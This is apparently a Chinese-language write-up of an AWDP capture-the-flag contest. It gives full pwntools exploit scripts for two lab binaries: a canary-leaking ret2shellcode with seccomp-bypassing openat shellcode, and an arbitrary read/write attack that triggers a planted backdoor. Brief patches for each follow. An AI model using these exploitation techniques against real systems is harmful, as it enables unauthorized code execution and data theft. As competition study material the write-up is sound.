前言
打过的最离谱的AWDP比赛,8个web,2个pwn。
准备了很久高版本IO、LLVM、Protobuf和Kernel,结果出了2个没libc的栈题。
存在一个严重问题,Break和Fix的靶机是同一个,Fix时会把靶机环境替换。
(明显是AWD平台改的,只是把提交别人Flag得分改为提交自己Flag得分,然后加了Check功能)
(这样的话完全可以上传后门函数或者Shell直接拿下自己靶机得到Flag)
往年华东北的Pwn题是所有赛区最难的,今年成最简单的了,给了2个栈签到题。
抛开题目和靶场不说,给茶歇点赞,空调也很给力。(差点冻死
开局5分钟就看到有人把2个pwn题ak了,这里写一下正解。

Pwn1(ret2shellcode)
Break
沙箱保护
开启了沙箱保护,禁用execve和open:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | ? pwn1 seccomp-tools dump ./pwn line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011 0005: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0011 0006: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0011 0007: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0011 0008: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0011 0009: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILL |
main函数
拖入IDA分析:

菜单,1是栈溢出,2是格式化字符串。并且程序没开启NX保护,栈上可以同时写和执行。
利用思路
直接ret2shellcode执行syscall即可打orw,禁用open用openat替换即可。
通过格式化字符串泄露栈地址和canary,然后写入shellcode,覆盖返回地址为栈地址即可。
由于我写的shellcode比较长,分了2段来执行,也可以优化下汇编一次执行完。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | from pwn import *elf = ELF("./pwn")libc = ELF("./libc.so.6")# p = process([elf.path])p = remote('192.55.1.156', '80')context(arch=elf.arch, os=elf.os)context.log_level = 'debug'# gdb.attach(p, 'b *$rebase(0x14B7)\nc')# pause()# leak stackp.sendlineafter(b'name\n', b'1')p.sendafter(b'name\n', b'%18$p')p.sendlineafter(b'name\n', b'2')p.recvuntil(b'0x')buf_addr = int(p.recv(12), 16) - 0x60success('buf_addr = ' + hex(buf_addr))# leak canaryp.sendlineafter(b'name\n', b'1')p.sendafter(b'name\n', b'a' * 0x49)p.sendlineafter(b'name\n', b'2')p.recvuntil(b'a' * 0x49)canary = u64(p.recv(7).rjust(8, b'\x00'))success('canary = ' + hex(canary))# ret2shellcodeshellcode = asm(""" mov rax, 0x67616c662f2e ;// ./flag push rax mov rdi, -100 mov rsi, rsp xor rdx, rdx mov rax, 257 ;// SYS_openat syscall mov rdi, rax ;// fd mov rsi, {} ; mov rdx, 0x20 ;// nbytes xor rax, rax ;// SYS_read syscall mov rax, {} push rax ret""".format(buf_addr, buf_addr + 0x60))print(hex(len(shellcode)))shellcode = shellcode.ljust(0x48, b'\x00')shellcode += p64(canary) + p64(0xdeadbeef) + p64(buf_addr)shellcode += asm(''' mov rdi, 1 ;// fd mov rsi, {} ;// buf mov rax, 1 ;// SYS_write syscall mov rdi, 123 ;// error_code mov rax, 60 syscall'''.format(buf_addr))print(len(shellcode))p.sendlineafter(b'name\n', b'1')p.sendafter(b'name\n', shellcode)# gdb.attach(p, 'b *$rebase(0x14D7)')# pause()p.sendlineafter(b'name\n', b'3')p.interactive() |
Fix
Fix很简单,直接把0x60栈溢出改为0x40即可。
Pwn2(backdoor)
Break
还原符号表
题目是静态编译的,可以先导入符号表还原符号:

定位main函数
然后根据字符串交叉引用定位到main函数:

提供几个函数,ls为空函数,其它函数逐个分析。
add函数
add函数:

会在qword_4E82F0分配一个空间,每个空间大小为12。
初始位置为8(即size),偏移量为4的地方可以写入8字节数据。
edit函数
edit函数:

任意地址写。
del函数
del函数:

没用,清空数据。
get函数
get函数:

任意地址读。
check函数
check函数:

调用sub_401D6A函数读取flag,并返回flag的前8个字符。

然后,将flag的前8个字符赋值给magic,并调用evalMagic函数:

它会循环四次,判断前4个空间的值是否和magic相等。如果都相等调用后门函数读取Flag并输出:

利用思路
利用思路很简单,任意写、任意读、存在后门函数。
先让程序执行一次check将flag的前8字节读入到可分配的空间中。
然后任意地址读读出来flag的前8字节,此时magic的值即这8个字节。
然后循环计算出magic的值,通过任意地址写满足if的条件触发后门函数即可。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | from pwn import *elf = ELF("./pwn")# p = process([elf.path])p = remote('192.55.1.50', '80')context(arch=elf.arch, os=elf.os)context.log_level = 'debug'# malloc 4 chunksid = []for i in range(4): p.sendline(b'2') p.recvuntil(b'flag\n') p.recvuntil(b'flag\n') p.recvuntil(b'flag\n') p.recvuntil(b'flag\n') p.recvuntil(b'flag\n') p.recvuntil(b'flag\n') p.recvuntil(b':') id.append(int(p.recvuntil(b'\x0d\x0a\x3d\x3d\x3d\x3d\x3d', drop=True)[-15:]))# gdb.attach(p, 'b *0x402117\nc')# pause()for x in id: print(hex(x))# leak flag# p.sendline(b'5')# p.sendline(str(id[3] + 12).encode())# magic = 0x4142467b67616c66# arbitrary_writen64 = lambda x: (x + 0x10000000000000000) & 0xFFFFFFFFFFFFFFFFmagic = 0x4142467b67616c66for i in range(4): magic = (n64(n64(0x5851F42D4C957F2D * magic) + 12345)) & 0x7FFFFFFFFFFFFFFF p.sendline(b'3') p.sendline(str(id[i]).encode()) p.sendline(str(magic).encode())# checkp.sendline(b'6')p.interactive() |
Fix
Fix实在没什么好说的,后门函数是作者故意写的,而且留了可以任意写和读的漏洞。
刚开始想着正解把任意写和任意读迁移到eh_frame段执行正确的清空和读取操作,但是check失败了。
最后想想这个后门函数也不合理,直接把后门函数nop掉就防御成功了,也就没再深究,很无语。
